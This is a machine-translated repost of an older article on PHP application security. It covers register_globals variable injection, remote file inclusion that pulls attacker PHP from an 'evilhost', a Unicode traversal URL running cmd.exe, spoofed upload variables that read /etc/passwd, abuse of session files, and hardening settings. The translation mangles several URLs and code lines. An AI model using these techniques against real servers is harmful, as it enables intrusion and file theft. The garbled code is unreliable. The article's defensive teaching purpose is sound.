How to attack common vulnerabilities in PHP programs

Source: Internet
Author: User
Tags ftp site

Source: chinaasp
The reason for translating this articleArticleCurrently, most cgi security articles use Perl as an example, but few articles specifically introduce ASP, PHP, or JSP security. The Shaun clowes article comprehensively introduces PHP security issues. The original Article can be found at http://www.securereality.com.au/stu..arlet.txt.

Because the original article is long and a considerable part of it is about the background of the article or the basic knowledge of PHP, it does not involve PHP security, so I have not translated it. For more information, see the original article.

This article mainly analyzes the security of PHP in terms of global variables, remote files, file uploads, library files, session files, data types, and error-prone functions, some useful suggestions on how to enhance PHP security are also provided.

Let's get down to the truth!

[Global variables]
Variables in PHP do not need to be declared in advance. They are automatically created during the first use, and their types do not need to be specified. They are automatically determined according to the context. SlaveProgramPersonnel's point of view, this is undoubtedly an extremely convenient solution. Obviously, this is also a very useful feature of rapid language development. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables. After all, they are empty when they are created for the first time.

Obviously, the main functions of PHP-based applications generally accept user input (mainly form variables, upload files and cookies), and then process the input data, then return the result to the client browser. To make PHPCodeIt is as easy as possible to access user input. In fact, PHP regards the input data as a global variable for processing.

For example:

<Form method = "get" Action = "test. php">
<Input type = "text" name = "hello">
<Input type = "Submit">
</Form>

Obviously, a text box and a submit button are displayed. When a user clicks the submit button, "test. php" processes user input. When "test. php" is run, "$ hello" contains user input data in the text box. We can see from this that attackers can create arbitrary global variables as they wish. If the attacker does not call "test. php" through form input, but directly enters http: // server/test. php? Hello = Hi & set... why? /A> $ hello "is created, and" $ setup "is also created.

Note: These two methods are the "post" and "get" methods we usually call.
The following user authentication code exposes the security issues caused by the global variables of PHP:

<? PHP
If ($ pass = "hello ")
$ Auth = 1;
...
If ($ auth = 1)
Echo "some important information ";
?>

The above code first checks whether the user's password is "hello". If yes, set "$ auth" to "1" to pass authentication. If "$ suth" is "1", some important information will be displayed.

On the surface, it seems to be correct, and a considerable number of us do this, but this code makes a mistake of course, it assumes that "$ auth" is empty when no value is set, but does not expect an attacker to create any global variables and assign values. PHP? Auth = 1 "and copy it? /A>

Therefore, to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. If there are many variables in the program, this is a very difficult task.

A common protection method is to check the variables in the array http_get [] or post_vars [], which depends on our submission method (get or post ). When PHP is configured to enable the "track_vars" option (this is the default value), the variables submitted by the user can be obtained in the global variables and the array mentioned above.

However, it is worth noting that PHP has four different array variables used to process user input. The http_get_vars array is used to process the variables submitted by the get method. The http_post_vars array is used to process the variables submitted by the post method. The http_cookie_vars array is used to process the variables submitted as Cookie headers, for the http_post_files array (provided by newer PHP), it is completely an optional method for users to submit variables. A user request can easily store variables in these four arrays. Therefore, a safe PHP program should check these four arrays.

[Remote File]
PHP is a language with rich features and provides a large number of functions, making it easy for programmers to implement a function. But from the security point of view, the more features, the more difficult it is to ensure its security. remote files are a good example of this problem:

<? PHP
If (! ($ FD = fopen ("$ FILENAME", "R "))
Echo ("cocould not open file: $ filename <br> N ");
?>

The above script tries to open the file "$ FILENAME". If it fails, an error message is displayed. Obviously, if we can specify "$ FILENAME", we can use this script to browse any files in the system. However, this script also has a less obvious feature, that is, it can read files from any other web or FTP site. In fact, most PHP file processing functions are transparent to remote file processing.

For example:
If "$ FILENAME" is specified as "http: // target/scripts/... % C1 % 1C ../wi...md.exe? /C + dir"
The above Code actually uses the Unicode vulnerability on the target host to execute the Dir command.

This makes the include (), require (), include_once () and require_once () Support for remote files more interesting in the context. The main functions of these functions include the content of the specified file, and they are interpreted according to the PHP code, mainly used on the library file.

For example:
<? PHP
Include ($ libdir. "/ages. php ");
?>

In the above example, "$ libdir" is generally a path that has been set before code execution. If an attacker can make "$ libdir" not set, then he can change the path. However, attackers cannot do anything, because they can only access the file ages. php In the path they specify (the "Poison Null Byte" attack in Perl does not work for PHP ). However, with support for remote files, attackers can do anything. For example, attackers can put a file named ages. php on a server, which contains the following content:

<? PHP
Passthru ("/bin/ls/etc ");
?>

Then, set "$ libdir" to "http: // <evilhost>/", so that we can execute the above attack code on the target host, the content of the "/etc" directory is returned to the client's browser as a result.

It should be noted that the attack server (that is, evilhost) should not be able to execute PHP code; otherwise, the attack code will be executed on the attack server rather than the target server. If you want to know the specific technical details, see http://www.securereality.com.au/sradv00006.txt

[File Upload]
PHP automatically supports File Upload Based on RFC 1867. Let's look at the example below:

<Form method = "Post" enctype = "multipart/form-Data">
<Input type = "file" name = "hello">
<Input type = "hidden" name = "max_file_size" value = "10240">
<Input type = "Submit">
</Form>

The code above allows the user to select a file from the local machine. After clicking submit, the file will be uploaded to the server. This is obviously a very useful function, but PHP's response method makes this function insecure. When PHP receives such a request for the first time, and even before it starts parsing the called PHP code, it will first accept the files of remote users, check whether the file length exceeds the value defined by "$ max_file_size variable". If you pass these tests, the file will be stored in a local temporary directory.

Therefore, attackers can send arbitrary files to the host running PHP. When the PHP program has not decided whether to accept file uploads, the files are already stored on the server.

I will not discuss the possibility of DoS attacks on the server by using file upload.

Let's consider the PHP program that processes file uploads. As we mentioned above, the file is received and stored on the server (the location is specified in the configuration file, usually/tmp ), the extension is generally random, similar to the "phpxxuoxg" format. The PHP program needs to upload the file information for processing, which can be used in two ways, one is already used in PHP 3, the other is introduced after we propose a security bulletin for the previous method.

However, we can say with certainty that the problem still exists. Most PHP programs still use the old method to process uploaded files. PHP sets four global variables to describe the uploaded files. For example, the above example:

$ Hello = filename on Local Machine (e. g "/tmp/phpxxuoxg ")
$ Hello_size = size in bytes of file (e.g 1024)
$ Hello_name = the original name of the file on the remote system (e. g "C: \ temp \ hello.txt ")
$ Hello_type = MIME type of uploaded file (e. g "text/plain ")

Then the PHP program starts to process the Files specified according to "$ hello". The problem is that "$ hello" is not necessarily a variable set by PHP, and can be specified by any remote user. If we use the following method:

Http: // vulnhost/vuln. php? Hello =/etc.._name1_hello.txt

This leads to the following PHP global variables (of course, the POST method can also (or even Cookie )):

$ Hello = "/etc/passwd"
$ Hello_size = 10240
$ Hello_type = "text/plain"
$ Hello_name = "hello.txt"

The above form data meets the expected variables of the PHP program, but the PHP program does not process the uploaded files, but processes "/etc/passwd" (usually leading to content exposure ). This attack can be used to expose the content of any sensitive file.

As I mentioned earlier, the new version of PHP uses http_post_files [] to decide to upload files. It also provides many functions to solve this problem, for example, a function is used to determine whether a file is actually uploaded. These functions solve this problem well, but in fact many PHP programs are still using the old method and are very vulnerable to this attack.

As a variant of the file upload attack method, let's look at the following code:

<? PHP
If (file_exists ($ theme) // checks the file exists on the local system (no remote files)
Include ("$ theme ");
?>

If attackers can control "$ theme", it is clear that "$ theme" can be used to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary commands on the remote server, but he cannot use remote files. Therefore, he must create a PHP file on the remote server. This seems impossible at first glance, but File Uploading helps us. If attackers first create a file containing PHP code on a local machine, create a form that contains the file field named "theme", and use this form to upload the created file containing PHP code to the above Code, PHP will save the file submitted by the attacker and set the value of "$ theme" to the file submitted by the attacker. In this way, the file_exists () function will pass the check, the attacker's code will also be executed.

After obtaining the ability to execute arbitrary commands, attackers obviously want to improve the permissions or expand the results. This requires a set of tools not available on the server, and the file upload has helped us again. Attackers can use the upload tool to upload files, store them on the server, and use them to execute commands. Then, they can use chmod () to change the file permissions and execute the commands. For example, attackers can bypass the firewall or IDs to upload a local root attack program and then execute the program to obtain the root permission.

[Library files]
As we discussed earlier, include () and require () are mainly used to support the code library, because we generally put some frequently used functions into an independent file, this independent file is the code library. When you need to use the functions, you only need to include the code library into the current file.

Initially, when people develop and publish PHP programs, in order to distinguish between the code library and the main program code, they generally set a ". INC, but they soon discovered that this is an error because such files cannot be correctly parsed as PHP code by the PHP interpreter. If we directly request this file on the server, we will getSource codeThis is because when PHP is used as an Apache module, the PHP interpreter determines whether to parse the file into PHP code based on the file extension. The extension is specified by the site administrator, generally ". php", ". php3", and ". PhP4 ". If important configuration data is contained in a PHP file without a proper extension, remote attackers can easily obtain this information.

The simplest solution is to specify a PHP file extension for each file, which can prevent leakage of source code, but a new problem occurs. By requesting this file, attackers may make the code that should have been run in the Context Environment run independently, which may lead to all the attacks discussed above.

The following is an obvious example:

In Main. php:
<? PHP
$ Libdir = "/libdir ";
$ Langdir = "$ libdir/languages ";

...

Include ("$ libdir/loadlanguage. php ":
?>

In libdir/loadlanguage. php:
<? PHP
...

Include ("$ langdir/$ userlang ");
?>

When "libdir/loadlanguage. PHP "is" Main. PHP is safe to call, but because "libdir/loadlanguage" has ". therefore, remote attackers can directly request this file and specify the values of "$ langdir" and "$ userlang.
[Session file]
PHP 4 or the latest version provides support for sessions. Its main function is to save the status information between pages in a PHP program. For example, when a user logs on to the website, the fact that he logs on to the website and who logs on to the website are stored in the session. When he browses around the website, all PHP code can obtain the status information.

In fact, when a session is started (in fact, it is set to automatically start at the first request in the configuration file), a random "session ID" is generated ", if the remote browser always submits this "session ID" when sending requests, the session will remain. This is easily achieved through cookies, or by submitting a form variable (including the "session ID") on each page. A PHP program can use session to register a special variable. Its value will exist in the session file after each PHP script ends, and will be loaded into the variable before each PHP script starts. The following is a simple example:

<? PHP
Session_destroy (); // kill any data currently in the session
$ Session_auth = "Shaun ";
Session_register ("session_auth"); // register $ session_auth as a session variable
?>

The new version of PHP will automatically set the value of "$ session_auth" to "Shaun". If they are modified, the modified values will be automatically accepted in future scripts, this is indeed a good tool for Stateless web, but we should be careful.

An obvious problem is to ensure that the variables do come from the session. For example, if the above code is given, if the subsequent script is as follows:

<? PHP
If (! Empty ($ session_auth ))
// Grant access to site here
?>

The above Code assumes that if "$ session_auth" is set from the session rather than from the user input, if the attacker uses form input to set the bit, you can obtain access to the site. Note that the attacker must use this attack method before the session registers the variable. Once the variable is put into the session, it will overwrite any form input.

Session data is generally stored in a file (the location is configurable, generally "/tmp"), and the file name is generally in a format similar to "sess _ <session ID>, this file contains the variable name, variable type, variable value, and some other data. In a multi-host system, files are saved as users running Web servers (generally nobody, therefore, malicious site owners can create a session file to obtain access to other sites, and even check the sensitive information in the session file.

The session mechanism also provides another convenient place for attackers to store their input in remote system files. For the above example, an attacker needs to place a file containing PHP code in a remote system. If the file cannot be uploaded, the attacker usually uses session to assign a value to a variable as needed, then I guess the location of the session file, and he knows that the file name is "php <session ID>", so I only need to guess the directory, and the directory is generally "/tmp ".

In addition, attackers can specify the "session ID" (such as "hello") at will, and then use this "session ID" to create a session file (such as "/tmp/sess_hello "), however, the "session ID" can only be a combination of letters and numbers.

[Data type]
PHP has loose data types, and variable types depend on their context. For example, "$ hello" is a string variable and its value is "". However, when the value is evaluated, it becomes the integer variable "0 ", this may sometimes lead to unexpected results. If the value of "$ hello" is "000" or "0" is different, the results returned by empty () will not be true.

Arrays in PHP are associated arrays, that is, the index of arrays is string type. This means that "$ Hello [" 000 "]" and "$ Hello [0]" are different.

When developing a program, we should carefully consider the above issues. For example, we should not test whether a variable is "0" in one place, and use empty () in another place () to verify.

[Error-prone functions]
When analyzing vulnerabilities in PHP programs, if we can obtain the source code, we need a list of error-prone functions. If we can remotely change the parameters of these functions, we may find the vulnerabilities. The following is a detailed list of error-prone functions:

<PHP code execution>
Require (): Read the content of the specified file and interpret it as PHP code.
Include (): Same as above
Eval (): run the given string as PHP code.
Preg_replace (): when used with the "/E" switch, the replacement string is interpreted as PHP code.

<Command Execution>
Exec (): Execute the specified command and return the last line of the execution result.
Passthru (): run the specified command to return all results to the client browser.
'': Run the specified command to return all results to an array.
System (): Same as passthru (), but does not process binary data
Popen (): run the specified command to connect the input or output to the PHP file descriptor.

<File leakage>
Fopen (): Open the file and correspond to a PHP file descriptor.
Readfile (): Read the content of the file and output it to the client browser.
File (): Read the entire file into an array.

Note: In fact, this list is not very complete. For example, commands such as "mail ()" may also execute commands, so you need to add it yourself.
[How to Enhance PHP security]
All the attacks I introduced above can be well implemented for PHP 4 installed by default, but I have already repeated many times. The PHP configuration is very flexible. By configuring some PHP options, we are likely to resist some of these attacks. I will classify some configurations according to the implementation difficulty:

* Low difficulty
** Medium and low difficulty
* ** Medium difficulty
* *** Difficult

The above classification is my opinion, but I can ensure that if you use all the options provided by PHP, Your PHP will be safe, this is true even for third-party code, because many of these functions are no longer usable.

* *** Set "register_globals" to "off"
This option will disable PHP from creating global variables for user input. That is to say, if the user submits the form variable "hello", PHP will not create "$ hello ", instead, only "http_get/post_vars ['hello']" will be created. This is an extremely important option in PHP. Disabling this option will cause great inconvenience to programming.

* ** Set "safe_mode" to "on"
When this option is enabled, the following restrictions are added:
1. Restrict which command can be executed
2. Restrict which function can be used
3. File Access restrictions based on script ownership and target File Ownership
4. Disable File Upload
This is a great option for ISP, and it can greatly improve PHP security.

** Set "open_basedir"
This option can prevent file operations outside the specified directory, effectively eliminating attacks on local files or remote files by include (). However, you still need to pay attention to file upload and session file attacks.

** Set "display_errors" to "off" and "log_errors" to "on"
This option prohibits the display of error information on the webpage, but records it into the log file, which effectively prevents attackers from detecting functions in the target script.

* Set "allow_url_fopen" to "off"
This option can disable the remote file function, which is highly recommended!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.